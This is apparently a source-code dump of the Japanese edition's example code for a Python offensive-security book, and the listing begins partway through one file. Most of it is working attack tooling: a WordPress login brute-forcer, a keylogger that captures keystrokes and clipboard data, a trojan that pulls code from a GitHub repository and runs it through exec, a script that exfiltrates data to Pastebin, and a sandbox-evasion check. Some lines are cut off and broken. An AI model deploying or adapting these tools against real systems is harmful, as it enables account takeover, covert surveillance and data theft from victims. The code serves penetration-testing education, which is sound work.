17 | self.ttl = header[5]
18 | self.protocol_num = header[6]
19 | self.sum = header[7]
20 | self.src = header[8]
21 | self.dst = header[9]
22 |
23 | # IPアドレスを可読な形で変数に格納
24 | self.src_address = ipaddress.ip_address(self.src)
25 | self.dst_address = ipaddress.ip_address(self.dst)
26 |
27 | # プロトコルの定数値を名称にマッピング
28 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"}
29 | try:
30 | self.protocol = self.protocol_map[self.protocol_num]
31 | except Exception as e:
32 | print('%s No protocol for %s' % (e, self.protocol_num))
33 | self.protocol = str(self.protocol_num)
34 |
35 | def sniff(host):
36 | if os.name == 'nt':
37 | socket_protocol = socket.IPPROTO_IP
38 | else:
39 | socket_protocol = socket.IPPROTO_ICMP
40 |
41 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
42 | sniffer.bind((host, 0))
43 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
44 |
45 | if os.name == 'nt':
46 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
47 |
48 | try:
49 | while True:
50 | # パケットの読み込み
51 | raw_buffer = sniffer.recvfrom(65535)[0]
52 | # バッファーの最初の20バイトからIP構造体を作成
53 | ip_header = IP(raw_buffer[0:20])
54 | # 検出されたプロトコルとホストを出力
55 | print('Protocol: %s %s -> %s' % (ip_header.protocol, ip_header.src_address, ip_header.dst_address))
56 |
57 | except KeyboardInterrupt:
58 | # Windowsの場合はプロミスキャスモードを無効化
59 | if os.name == 'nt':
60 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
61 | sys.exit()
62 |
63 | if __name__ == '__main__':
64 | if len(sys.argv) == 2:
65 | host = sys.argv[1]
66 | else:
67 | host = '192.168.1.206'
68 | sniff(host)
69 |
--------------------------------------------------------------------------------
/chapter-05/wp_killer.py:
--------------------------------------------------------------------------------
1 | from io import BytesIO
2 | from lxml import etree
3 | from queue import Queue
4 |
5 | import requests
6 | import sys
7 | import threading
8 | import time
9 |
10 | SUCCESS = 'Welcome to WordPress!'
11 | TARGET = "http://127.0.0.1:31337/wp-login.php"
12 | WORDLIST = 'cain.txt'
13 |
14 |
15 | def get_words():
16 | with open(WORDLIST) as f:
17 | raw_words = f.read()
18 |
19 | words = Queue()
20 | for word in raw_words.split():
21 | words.put(word)
22 | return words
23 |
24 |
25 | def get_params(content):
26 | params = dict()
27 | parser = etree.HTMLParser()
28 | tree = etree.parse(BytesIO(content), parser=parser)
29 | for elem in tree.findall('//input'):
30 | name = elem.get('name')
31 | if name is not None:
32 | params[name] = elem.get('value', None)
33 | return params
34 |
35 |
36 | class Bruter:
37 | def __init__(self, username, url):
38 | self.username = username
39 | self.url = url
40 | self.found = False
41 | print(f'\nBrute Force Attack beginning on {url}.\n')
42 | print("Finished the setup where username = %s\n" % username)
43 |
44 | def run_bruteforce(self, passwords):
45 | for _ in range(10):
46 | t = threading.Thread(target=self.web_bruter, args=(passwords,))
47 | t.start()
48 |
49 | def web_bruter(self, passwords):
50 | session = requests.Session()
51 | resp0 = session.get(self.url)
52 | params = get_params(resp0.content)
53 | params['log'] = self.username
54 |
55 | while not passwords.empty() and not self.found:
56 | try:
57 | time.sleep(5)
58 | passwd = passwords.get()
59 | print(f'Trying username/password {self.username}/{passwd:<10}')
60 | params['pwd'] = passwd
61 | resp1 = session.post(self.url, data=params)
62 |
63 | if SUCCESS in resp1.content.decode():
64 | self.found = True
65 | print(f"\nBruteforcing successful.")
66 | print("Username is %s" % self.username)
67 | print("Password is %s\n" % passwd)
68 | except:
69 | pass
70 |
71 |
72 | if __name__ == '__main__':
73 | b = Bruter('admin', TARGET)
74 | words = get_words()
75 | b.run_bruteforce(words)
76 |
--------------------------------------------------------------------------------
/chapter-08/keylogger.py:
--------------------------------------------------------------------------------
1 | from ctypes import byref, create_string_buffer, c_ulong, windll
2 | from io import StringIO
3 |
4 | import pythoncom
5 | import pyWinhook as pyHook
6 | import sys
7 | import time
8 | import win32clipboard
9 |
10 |
11 | TIMEOUT = 60 * 10
12 |
13 |
14 | class KeyLogger:
15 | def __init__(self):
16 | self.current_window = None
17 |
18 | def get_current_process(self):
19 | hwnd = windll.user32.GetForegroundWindow()
20 | pid = c_ulong(0)
21 | windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
22 | process_id = f'{pid.value}'
23 |
24 | executable = create_string_buffer(512)
25 | h_process = windll.kernel32.OpenProcess(
26 | 0x400 | 0x10, False, pid)
27 | windll.psapi.GetModuleBaseNameA(
28 | h_process, None, byref(executable), 512)
29 |
30 | window_title = create_string_buffer(512)
31 | windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)
32 | try:
33 | self.current_window = window_title.value.decode()
34 | except UnicodeDecodeError as e:
35 | print(f'{e}: window name unknown')
36 |
37 | print('\n', process_id, executable.value.decode(),
38 | self.current_window)
39 |
40 | windll.kernel32.CloseHandle(hwnd)
41 | windll.kernel32.CloseHandle(h_process)
42 |
43 | def mykeystroke(self, event):
44 | if event.WindowName != self.current_window:
45 | self.get_current_process()
46 | if 32 < event.Ascii < 127:
47 | print(chr(event.Ascii), end='')
48 | else:
49 | if event.Key == 'V':
50 | win32clipboard.OpenClipboard()
51 | value = win32clipboard.GetClipboardData()
52 | win32clipboard.CloseClipboard()
53 | print(f'[PASTE] - {value}')
54 | else:
55 | print(f'{event.Key}')
56 | return True
57 |
58 |
59 | def run():
60 | save_stdout = sys.stdout
61 | sys.stdout = StringIO()
62 |
63 | kl = KeyLogger()
64 | hm = pyHook.HookManager()
65 | hm.KeyDown = kl.mykeystroke
66 | hm.HookKeyboard()
67 | while time.thread_time() < TIMEOUT:
68 | pythoncom.PumpWaitingMessages()
69 |
70 | log = sys.stdout.getvalue()
71 | sys.stdout = save_stdout
72 | return log
73 |
74 |
75 | if __name__ == '__main__':
76 | print(run())
77 | print('done.')
--------------------------------------------------------------------------------
/chapter-06/bhp_fuzzer.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | from burp import IBurpExtender
3 | from burp import IIntruderPayloadGeneratorFactory
4 | from burp import IIntruderPayloadGenerator
5 | from java.util import List, ArrayList
6 |
7 | import random
8 |
9 | class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
10 | def registerExtenderCallbacks(self, callbacks):
11 | self._callbacks = callbacks
12 | self._helpers = callbacks.getHelpers()
13 |
14 | callbacks.registerIntruderPayloadGeneratorFactory(self)
15 | return
16 |
17 | def getGeneratorName(self):
18 | return "BHP Payload Generator"
19 |
20 | def createNewInstance(self, attack):
21 | return BHPFuzzer(self, attack)
22 |
23 | class BHPFuzzer(IIntruderPayloadGenerator):
24 | def __init__(self, extender, attack):
25 | self._extender = extender
26 | self._helpers = extender._helpers
27 | self._attack = attack
28 | self.max_payloads = 10
29 | self.num_iterations = 0
30 |
31 | return
32 |
33 | def hasMorePayloads(self):
34 | if self.num_iterations == self.max_payloads:
35 | return False
36 | else:
37 | return True
38 |
39 | def getNextPayload(self, current_payload):
40 | # 文字列に変換する
41 | payload = ''.join(chr(x) for x in current_payload)
42 |
43 | # POSTメソッドで送信されるペイロードに単純な改変を加えるメソッドを呼び出す
44 | payload = self.mutate_payload(payload)
45 |
46 | # ファジングの回数のカウンターをインクリメントする
47 | self.num_iterations += 1
48 |
49 | return payload
50 |
51 | def reset(self):
52 | self.num_iterations = 0
53 | return
54 |
55 | def mutate_payload(self, original_payload):
56 | # ファジングの方法をひとつ選ぶ、もしくは外部スクリプトを呼び出す
57 | picker = random.randint(1, 3)
58 |
59 | # ペイロードからランダムな箇所を選ぶ
60 | offset = random.randint(0, len(original_payload) - 1)
61 | front, back = original_payload[:offset], original_payload[offset:]
62 |
63 | # 先ほど選んだ箇所でSQLインジェクションを試す
64 | if picker == 1:
65 | front += "'"
66 |
67 | # クロスサイトスクリプティングの脆弱性がないか試す
68 | elif picker == 2:
69 | front += ""
70 |
71 | # オリジナルのペイロードのランダムな箇所で、選択した部分を繰り返す
72 | elif picker == 3:
73 | chunk_length = random.randint(0, len(back)-1)
74 | repeater = random.randint(1, 10)
75 | for _ in range(repeater):
76 | front += original_payload[:offset + chunk_length]
77 |
78 | return front + back
79 |
--------------------------------------------------------------------------------
/chapter-09/paste_exfil.py:
--------------------------------------------------------------------------------
1 | from win32com import client
2 |
3 | import random
4 | import requests
5 | import time
6 |
7 |
8 | username = 'tim'
9 | password = 'seKret'
10 | api_dev_key = 'cd3xxx001xxxx02'
11 |
12 |
13 | def plain_paste(title, contents):
14 | login_url = 'https://pastebin.com/api/api_login.php'
15 | login_data = {
16 | 'api_dev_key': api_dev_key,
17 | 'api_user_name': username,
18 | 'api_user_password': password,
19 | }
20 | r = requests.post(login_url, data=login_data)
21 | api_user_key = r.text
22 |
23 | paste_url = 'https://pastebin.com/api/api_post.php'
24 | paste_data = {
25 | 'api_paste_name': title,
26 | 'api_paste_code': contents.decode(),
27 | 'api_dev_key': api_dev_key,
28 | 'api_user_key': api_user_key,
29 | 'api_option': 'paste',
30 | 'api_paste_private': 0,
31 | }
32 | r = requests.post(paste_url, data=paste_data)
33 | print(r.status_code)
34 | print(r.text)
35 |
36 |
37 | def wait_for_browser(browser):
38 | while browser.ReadyState != 4 and browser.ReadyState != 'complete':
39 | time.sleep(0.1)
40 |
41 |
42 | def random_sleep():
43 | time.sleep(random.randint(5, 10))
44 |
45 |
46 | def login(ie):
47 | full_doc = ie.Document.all
48 | for elem in full_doc:
49 | if elem.id == 'loginform-username':
50 | elem.setAttribute('value', username)
51 | elif elem.id == 'loginform-password':
52 | elem.setAttribute('value', password)
53 |
54 | random_sleep()
55 | if ie.Document.forms[0].id == 'w0':
56 | ie.document.forms[0].submit()
57 | wait_for_browser(ie)
58 |
59 |
60 | def submit(ie, title, contents):
61 | full_doc = ie.Document.all
62 | for elem in full_doc:
63 | if elem.id == 'postform-name':
64 | elem.setAttribute('value', title)
65 |
66 | elif elem.id == 'postform-text':
67 | elem.setAttribute('value', contents)
68 |
69 | #elif elem.id == 'postform-status':
70 | # elem.setAttribute('value', 2)
71 |
72 | if ie.Document.forms[0].id == 'w0':
73 | ie.document.forms[0].submit()
74 | random_sleep()
75 | wait_for_browser(ie)
76 |
77 |
78 | def ie_paste(title, contents):
79 | ie = client.Dispatch('InternetExplorer.Application')
80 | ie.Visible = 1
81 |
82 | ie.Navigate('https://pastebin.com/login')
83 | wait_for_browser(ie)
84 | login(ie)
85 | random_sleep()
86 |
87 | ie.Navigate('https://pastebin.com/')
88 | wait_for_browser(ie)
89 | submit(ie, title, contents.decode())
90 |
91 | ie.Quit()
92 |
93 |
94 | if __name__ == '__main__':
95 | ie_paste('title', b'contents')
--------------------------------------------------------------------------------
/chapter-10/bhservice_task.vbs:
--------------------------------------------------------------------------------
1 | ' Adapted from:
2 | ' http://gallery.technet.microsoft.com/scriptcenter/03f21031-07de-4a26-9a04-4871cd425870
3 | On Error Resume Next
4 | Dim fso
5 | Set fso = WScript.CreateObject("Scripting.Filesystemobject")
6 | Set f = fso.OpenTextFile("C:\windows\temp\bhpoutput.txt", 2, true)
7 | strComputer = "."
8 | Set objWMIService = GetObject("winmgmts:" _
9 | & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
10 |
11 | Set colSettings = objWMIService.ExecQuery _
12 | ("Select * from Win32_OperatingSystem")
13 |
14 | For Each objOperatingSystem in colSettings
15 | f.WriteLine "OS Name: " & objOperatingSystem.Name & vbCrLf
16 | f.WriteLine "Version: " & objOperatingSystem.Version & vbCrLf
17 | f.WriteLine "Service Pack: " & _
18 | objOperatingSystem.ServicePackMajorVersion _
19 | & "." & objOperatingSystem.ServicePackMinorVersion & vbCrLf
20 | f.WriteLine "OS Manufacturer: " & objOperatingSystem.Manufacturer & vbCrLf
21 | f.WriteLine "Windows Directory: " & _
22 | objOperatingSystem.WindowsDirectory & vbCrLf
23 | f.WriteLine "Locale: " & objOperatingSystem.Locale & vbCrLf
24 | f.WriteLine "Available Physical Memory: " & _
25 | objOperatingSystem.FreePhysicalMemory & vbCrLf
26 | f.WriteLine "Total Virtual Memory: " & _
27 | objOperatingSystem.TotalVirtualMemorySize & vbCrLf
28 | f.WriteLine "Available Virtual Memory: " & _
29 | objOperatingSystem.FreeVirtualMemory & vbCrLf
30 | f.WriteLine "Size stored in paging files: " & _
31 | objOperatingSystem.SizeStoredInPagingFiles & vbCrLf
32 | Next
33 |
34 | Set colSettings = objWMIService.ExecQuery _
35 | ("Select * from Win32_ComputerSystem")
36 |
37 | For Each objComputer in colSettings
38 | f.WriteLine "System Name: " & objComputer.Name & vbCrLf
39 | f.WriteLine "System Manufacturer: " & objComputer.Manufacturer & vbCrLf
40 | f.WriteLine "System Model: " & objComputer.Model & vbCrLf
41 | f.WriteLine "Time Zone: " & objComputer.CurrentTimeZone & vbCrLf
42 | f.WriteLine "Total Physical Memory: " & _
43 | objComputer.TotalPhysicalMemory & vbCrLf
44 | Next
45 |
46 | Set colSettings = objWMIService.ExecQuery _
47 | ("Select * from Win32_Processor")
48 |
49 | For Each objProcessor in colSettings
50 | f.WriteLine "System Type: " & objProcessor.Architecture & vbCrLf
51 | f.WriteLine "Processor: " & objProcessor.Description & vbCrLf
52 | Next
53 |
54 | Set colSettings = objWMIService.ExecQuery _
55 | ("Select * from Win32_BIOS")
56 |
57 | For Each objBIOS in colSettings
58 | f.WriteLine "BIOS Version: " & objBIOS.Version & vbCrLf
59 | Next
60 |
61 | f.Close
62 |
--------------------------------------------------------------------------------
/chapter-03/sniffer_ip_header_parse_ctypes.py:
--------------------------------------------------------------------------------
1 | import ipaddress
2 | import os
3 | import socket
4 | import struct
5 | import sys
6 |
7 | from ctypes import *
8 | import socket
9 | import struct
10 |
11 | class IP(Structure):
12 | _fields_ = [
13 | ("ver", c_ubyte, 4), # 4 bit unsigned char
14 | ("ihl", c_ubyte, 4), # 4 bit unsigned char
15 | ("tos", c_ubyte, 8), # 1 byte unsigned char
16 | ("len", c_ushort, 16), # 2 byte unsigned short
17 | ("id", c_ushort, 16), # 2 byte unsigned short
18 | ("offset", c_ushort, 16), # 2 byte unsigned short
19 | ("ttl", c_ubyte, 8), # 1 byte unsigned char
20 | ("protocol_num", c_ubyte, 8), # 1 byte unsigned char
21 | ("sum", c_ushort, 16), # 2 byte unsigned short
22 | ("src", c_uint32, 32), # 4 byte unsigned int
23 | ("dst", c_uint32, 32) # 4 byte unsigned int
24 | ]
25 | def __new__(cls, socket_buffer=None):
26 | # 入力バッファを構造体に格納
27 | return cls.from_buffer_copy(socket_buffer)
28 |
29 | def __init__(self, socket_buffer=None):
30 | # IPアドレスを可読な形で変数に格納
31 | self.src_address=socket.inet_ntoa(struct.pack(" %s' % (ip_header.protocol, ip_header.src_address, ip_header.dst_address))
63 |
64 | except KeyboardInterrupt:
65 | # Windowsの場合はプロミスキャスモードを無効化
66 | if os.name == 'nt':
67 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
68 | sys.exit()
69 |
70 | if __name__ == '__main__':
71 | if len(sys.argv) == 2:
72 | host = sys.argv[1]
73 | else:
74 | host = '192.168.1.206'
75 | sniff(host)
--------------------------------------------------------------------------------
/chapter-10/file_monitor1.py:
--------------------------------------------------------------------------------
1 | # Modified example that is originally given here:
2 | # http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html
3 |
4 | import os
5 | import tempfile
6 | import threading
7 | import win32con
8 | import win32file
9 |
10 | FILE_CREATED = 1
11 | FILE_DELETED = 2
12 | FILE_MODIFIED = 3
13 | FILE_RENAMED_FROM = 4
14 | FILE_RENAMED_TO = 5
15 |
16 | FILE_LIST_DIRECTORY = 0x0001
17 | PATHS = ['c:\\WINDOWS\\Temp', tempfile.gettempdir()]
18 |
19 |
20 | def monitor(path_to_watch):
21 | h_directory = win32file.CreateFile(
22 | path_to_watch,
23 | FILE_LIST_DIRECTORY,
24 | win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
25 | None,
26 | win32con.OPEN_EXISTING,
27 | win32con.FILE_FLAG_BACKUP_SEMANTICS,
28 | None
29 | )
30 |
31 | while True:
32 | try:
33 | results = win32file.ReadDirectoryChangesW(
34 | h_directory,
35 | 1024,
36 | True,
37 | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
38 | win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
39 | win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
40 | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
41 | win32con.FILE_NOTIFY_CHANGE_SECURITY |
42 | win32con.FILE_NOTIFY_CHANGE_SIZE,
43 | None,
44 | None
45 | )
46 | for action, file_name in results:
47 | full_filename = os.path.join(path_to_watch, file_name)
48 | if action == FILE_CREATED:
49 | print(f'[+] Created {full_filename}')
50 |
51 | elif action == FILE_DELETED:
52 | print(f'[-] Deleted {full_filename}')
53 |
54 | elif action == FILE_MODIFIED:
55 | print(f'[*] Modified {full_filename}')
56 | try:
57 | print('[vvv] Dumping contents ... ')
58 | with open(full_filename) as f:
59 | contents = f.read()
60 | print(contents)
61 | print('[^^^] Dump complete.')
62 | except Exception as e:
63 | print(f'[!!!] Dump failed. {e}')
64 |
65 | elif action == FILE_RENAMED_FROM:
66 | print(f'[>] Renamed from {full_filename}')
67 | elif action == FILE_RENAMED_TO:
68 | print(f'[<] Renamed to {full_filename}')
69 | else:
70 | print(f'[?] Unknown action on {full_filename}')
71 | except KeyboardInterrupt:
72 | break
73 |
74 | except Exception:
75 | pass
76 |
77 |
78 | if __name__ == '__main__':
79 | for path in PATHS:
80 | monitor_thread = threading.Thread(
81 | target=monitor, args=(path,))
82 | monitor_thread.start()
83 |
--------------------------------------------------------------------------------
/chapter-07/github_trojan.py:
--------------------------------------------------------------------------------
1 | import base64
2 | import github3
3 | import importlib
4 | import json
5 | import random
6 | import sys
7 | import threading
8 | import time
9 |
10 | from datetime import datetime
11 |
12 |
13 | def github_connect():
14 | with open('mytoken.txt') as f:
15 | token = f.read()
16 | user = ''
17 | sess = github3.login(token=token)
18 | return sess.repository(user, 'bhptrojan')
19 |
20 |
21 | def get_file_contents(dirname, module_name, repo):
22 | return repo.file_contents(f'{dirname}/{module_name}').content
23 |
24 |
25 | class Trojan:
26 | def __init__(self, id):
27 | self.id = id
28 | self.config_file = f'{id}.json'
29 | self.data_path = f'data/{id}/'
30 | self.repo = github_connect()
31 |
32 | def get_config(self):
33 | config_json = get_file_contents('config', self.config_file, self.repo)
34 | config = json.loads(base64.b64decode(config_json))
35 |
36 | for task in config:
37 | if task['module'] not in sys.modules:
38 | exec("import %s" % task['module'])
39 | return config
40 |
41 | def module_runner(self, module):
42 | result = sys.modules[module].run()
43 | self.store_module_result(result)
44 |
45 | def store_module_result(self, data):
46 | message = datetime.now().isoformat()
47 | remote_path = f'data/{self.id}/{message}.data'
48 | bindata = bytes('%r' % data, 'utf-8')
49 | self.repo.create_file(remote_path, message, base64.b64encode(bindata))
50 |
51 | def run(self):
52 | while True:
53 | config = self.get_config()
54 | for task in config:
55 | thread = threading.Thread(
56 | target=self.module_runner,
57 | args=(task['module'],))
58 | thread.start()
59 | time.sleep(random.randint(1, 10))
60 |
61 | time.sleep(random.randint(30*60, 3*60*60))
62 |
63 |
64 | class GitImporter:
65 | def __init__(self):
66 | self.current_module_code = ""
67 |
68 | def find_module(self, name, path=None):
69 | print("[*] Attempting to retrieve %s" % name)
70 | self.repo = github_connect()
71 |
72 | new_library = get_file_contents('modules', f'{name}.py', self.repo)
73 | if new_library is not None:
74 | self.current_module_code = base64.b64decode(new_library)
75 | return self
76 |
77 | def load_module(self, name):
78 | spec = importlib.util.spec_from_loader(name, loader=None,
79 | origin=self.repo.git_url)
80 | new_module = importlib.util.module_from_spec(spec)
81 | exec(self.current_module_code, new_module.__dict__)
82 | sys.modules[spec.name] = new_module
83 | return new_module
84 |
85 | if __name__ == '__main__':
86 | sys.meta_path.append(GitImporter())
87 | trojan = Trojan('abc')
88 | trojan.run()
89 |
--------------------------------------------------------------------------------
/chapter-03/sniffer_with_icmp.py:
--------------------------------------------------------------------------------
1 | import ipaddress
2 | import os
3 | import socket
4 | import struct
5 | import sys
6 |
7 | class IP:
8 | def __init__(self, buff=None):
9 | header = struct.unpack('> 4
11 | self.ihl = header[0] & 0xF
12 |
13 | self.tos = header[1]
14 | self.len = header[2]
15 | self.id = header[3]
16 | self.offset = header[4]
17 | self.ttl = header[5]
18 | self.protocol_num = header[6]
19 | self.sum = header[7]
20 | self.src = header[8]
21 | self.dst = header[9]
22 |
23 | # IPアドレスを可読な形で変数に格納
24 | self.src_address = ipaddress.ip_address(self.src)
25 | self.dst_address = ipaddress.ip_address(self.dst)
26 |
27 | # プロトコルの定数値を名称にマッピング
28 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"}
29 | try:
30 | self.protocol = self.protocol_map[self.protocol_num]
31 | except Exception as e:
32 | print('%s No protocol for %s' % (e, self.protocol_num))
33 | self.protocol = str(self.protocol_num)
34 |
35 | class ICMP:
36 | def __init__(self, buff):
37 | header = struct.unpack(' %s' % (ip_header.protocol, ip_header.src_address, ip_header.dst_address))
66 | print(f'Version: {ip_header.ver}')
67 | print(f'Header Length: {ip_header.ihl} TTL: {ip_header.ttl}')
68 |
69 | # ICMPパケットの位置を計算
70 | offset = ip_header.ihl * 4
71 | buf = raw_buffer[offset:offset + 8]
72 | # ICMP構造体を作成
73 | icmp_header = ICMP(buf)
74 | print('ICMP -> Type: %s Code: %s\n' % (icmp_header.type, icmp_header.code))
75 |
76 | except KeyboardInterrupt:
77 | if os.name == 'nt':
78 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
79 | sys.exit()
80 |
81 | if __name__ == '__main__':
82 | if len(sys.argv) == 2:
83 | host = sys.argv[1]
84 | else:
85 | host = '192.168.1.203'
86 | sniff(host)
87 |
--------------------------------------------------------------------------------
/chapter-08/sandbox_detect.py:
--------------------------------------------------------------------------------
1 | from ctypes import byref, c_uint, c_ulong, sizeof, Structure, windll
2 | import random
3 | import sys
4 | import time
5 | import win32api
6 |
7 |
8 | class LASTINPUTINFO(Structure):
9 | _fields_ = [
10 | ('cbSize', c_uint),
11 | ('dwTime', c_ulong)
12 | ]
13 |
14 |
15 | def get_last_input():
16 | struct_lastinputinfo = LASTINPUTINFO()
17 | struct_lastinputinfo.cbSize = sizeof(LASTINPUTINFO)
18 | windll.user32.GetLastInputInfo(byref(struct_lastinputinfo))
19 | run_time = windll.kernel32.GetTickCount()
20 | elapsed = run_time - struct_lastinputinfo.dwTime
21 | print(
22 | f"[*] It's been {elapsed} milliseconds since the last event.")
23 | return elapsed
24 |
25 | # while True:
26 | # get_last_input()
27 | # time.sleep(1)
28 |
29 |
30 | class Detector:
31 | def __init__(self):
32 | self.double_clicks = 0
33 | self.keystrokes = 0
34 | self.mouse_clicks = 0
35 |
36 | def get_key_press(self):
37 | for i in range(0, 0xff):
38 | state = win32api.GetAsyncKeyState(i)
39 | if state & 0x0001:
40 | if i == 0x1:
41 | self.mouse_clicks += 1
42 | return time.time()
43 | elif i > 32 and i < 127:
44 | self.keystrokes += 1
45 | return None
46 |
47 | def detect(self):
48 | previous_timestamp = None
49 | first_double_click = None
50 | double_click_threshold = 0.35
51 |
52 | max_double_clicks = 10
53 | max_keystrokes = random.randint(10, 25)
54 | max_mouse_clicks = random.randint(5, 25)
55 | max_input_threshold = 30000
56 |
57 | last_input = get_last_input()
58 | if last_input >= max_input_threshold:
59 | sys.exit(0)
60 |
61 | detection_complete = False
62 | while not detection_complete:
63 | keypress_time = self.get_key_press()
64 | if keypress_time is not None and previous_timestamp is not None:
65 | elapsed = keypress_time - previous_timestamp
66 |
67 | if elapsed <= double_click_threshold:
68 | self.mouse_clicks -= 2
69 | self.double_clicks += 1
70 | if first_double_click is None:
71 | first_double_click = time.time()
72 | else:
73 | if self.double_clicks >= max_double_clicks:
74 | if (keypress_time - first_double_click <=
75 | (max_double_clicks*double_click_threshold)):
76 | sys.exit(0)
77 | if (self.keystrokes >= max_keystrokes and
78 | self.double_clicks >= max_double_clicks and
79 | self.mouse_clicks >= max_mouse_clicks):
80 | detection_complete = True
81 |
82 | previous_timestamp = keypress_time
83 | elif keypress_time is not None:
84 | previous_timestamp = keypress_time
85 |
86 |
87 | if __name__ == '__main__':
88 | d = Detector()
89 | d.detect()
90 | print('okay.')
--------------------------------------------------------------------------------
/chapter-06/bhp_wordlist.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | from burp import IBurpExtender
3 | from burp import IContextMenuFactory
4 |
5 | from java.util import ArrayList
6 | from javax.swing import JMenuItem
7 |
8 | from datetime import datetime
9 | from HTMLParser import HTMLParser
10 |
11 | import re
12 |
13 |
14 | class TagStripper(HTMLParser):
15 | def __init__(self):
16 | HTMLParser.__init__(self)
17 | self.page_text = []
18 |
19 | def handle_data(self, data):
20 | self.page_text.append(data)
21 |
22 | def handle_comment(self, data):
23 | self.page_text.append(data)
24 |
25 | def strip(self, html):
26 | self.feed(html)
27 | return " ".join(self.page_text)
28 |
29 |
30 | class BurpExtender(IBurpExtender, IContextMenuFactory):
31 | def registerExtenderCallbacks(self, callbacks):
32 | self._callbacks = callbacks
33 | self._helpers = callbacks.getHelpers()
34 | self.context = None
35 | self.hosts = set()
36 |
37 | # よく知られたものから始める
38 | self.wordlist = set(['password'])
39 |
40 | # 作成した拡張機能をセットする
41 | callbacks.setExtensionName('BHP Wordlist')
42 | callbacks.registerContextMenuFactory(self)
43 | return
44 |
45 | def createMenuItems(self, context_menu):
46 | self.context = context_menu
47 | menu_list = ArrayList()
48 | menu_list.add(JMenuItem(
49 | "Create Wordlist", actionPerformed=self.wordlist_menu))
50 | return menu_list
51 |
52 | def wordlist_menu(self, event):
53 | # ユーザーがクリックした箇所の詳細を取得する
54 | http_traffic = self.context.getSelectedMessages()
55 | for traffic in http_traffic:
56 | http_service = traffic.getHttpService()
57 | host = http_service.getHost()
58 | self.hosts.add(host)
59 |
60 | http_response = traffic.getResponse()
61 | if http_response:
62 | self.get_words(http_response)
63 | self.display_wordlist()
64 | return
65 |
66 | def get_words(self, http_response):
67 | headers, body = http_response.tostring().split('\r\n\r\n', 1)
68 |
69 | # テキストでない部分は飛ばす
70 | if headers.lower().find("content-type: text") == -1:
71 | return
72 | tag_stripper = TagStripper()
73 | page_text = tag_stripper.strip(body)
74 | words = re.findall(r'[a-zA-Z]\w{2,}', page_text)
75 |
76 | for word in words:
77 | # 長い文字列を除去する
78 | if len(word) <= 12:
79 | self.wordlist.add(word.lower())
80 | return
81 |
82 | def mangle(self, word):
83 | year = datetime.now().year
84 | suffixes = ['', '1', '!', year]
85 | mangled = list()
86 | for password in (word, word.capitalize()):
87 | for suffix in suffixes:
88 | mangled.append("%s%s" % (password, suffix))
89 | return mangled
90 |
91 | def display_wordlist(self):
92 | print("#!comment: BHP Wordlist for site(s) %s" % ", ".join(self.hosts))
93 | for word in sorted(self.wordlist):
94 | for password in self.mangle(word):
95 | print(password)
96 | return
97 |
--------------------------------------------------------------------------------
/chapter-04/recapper.py:
--------------------------------------------------------------------------------
1 | from scapy.all import TCP, rdpcap
2 | import collections
3 | import os
4 | import re
5 | import sys
6 | import zlib
7 |
8 | OUTDIR = '/home/kali/pictures'
9 | PCAPS = '/home/kali/Downloads'
10 |
11 | Response = collections.namedtuple('Response', ['header', 'payload'])
12 |
13 | def get_header(payload):
14 | try:
15 | header_raw = payload[:payload.index(b'\r\n\r\n')+2]
16 | except ValueError:
17 | sys.stdout.write('-')
18 | sys.stdout.flush()
19 | return None
20 |
21 | try:
22 | header = dict(re.findall(r'(?P.*?): (?P.*?)\r\n', header_raw.decode()))
23 | if 'Content-Type' not in header:
24 | return None
25 | except:
26 | return None
27 |
28 | return header
29 |
30 |
31 | def extract_content(Response, content_name='image'):
32 | try:
33 | content, content_type = None, None
34 | if content_name in Response.header['Content-Type']:
35 | content_type = Response.header['Content-Type'].split('/')[1]
36 | content = Response.payload[Response.payload.index(b'\r\n\r\n')+4:]
37 |
38 | if 'Content-Encoding' in Response.header:
39 | if Response.header['Content-Encoding'] == "gzip":
40 | content = zlib.decompress(Response.payload, zlib.MAX_WBITS | 16)
41 | elif Response.header['Content-Encoding'] == "deflate":
42 | content = zlib.decompress(Response.payload)
43 | except:
44 | pass
45 |
46 | return content, content_type
47 |
48 |
49 | class Recapper:
50 | def __init__(self, fname):
51 | pcap = rdpcap(fname)
52 | self.sessions = pcap.sessions()
53 | self.responses = list()
54 |
55 | def get_responses(self):
56 | for session in self.sessions:
57 | payloads = list()
58 | for packet in self.sessions[session]:
59 | try:
60 | if packet[TCP].dport == 80 or packet[TCP].sport == 80:
61 | if b'\r\n\r\n' in bytes(packet[TCP].payload):
62 | payloads.append(b'')
63 | payloads[-1] += bytes(packet[TCP].payload)
64 | except IndexError:
65 | sys.stdout.write('x')
66 | sys.stdout.flush()
67 |
68 | for payload in payloads:
69 | if payload:
70 | header = get_header(payload)
71 | if header is None:
72 | continue
73 | self.responses.append(Response(header=header, payload=payload))
74 | print('')
75 |
76 | def write(self, content_name):
77 | for i, response in enumerate(self.responses):
78 | content, content_type = extract_content(response, content_name)
79 | if content and content_type:
80 | fname = os.path.join(OUTDIR, f'ex_{i}.{content_type}')
81 | print(f'Writing {fname}')
82 | with open(fname, 'wb') as f:
83 | f.write(content)
84 |
85 |
86 | if __name__ == '__main__':
87 | pfile = os.path.join(PCAPS, 'pcap.pcap')
88 | recapper = Recapper(pfile)
89 | recapper.get_responses()
90 | recapper.write('image')
91 |
--------------------------------------------------------------------------------
/appendix-C/get_from_web.py:
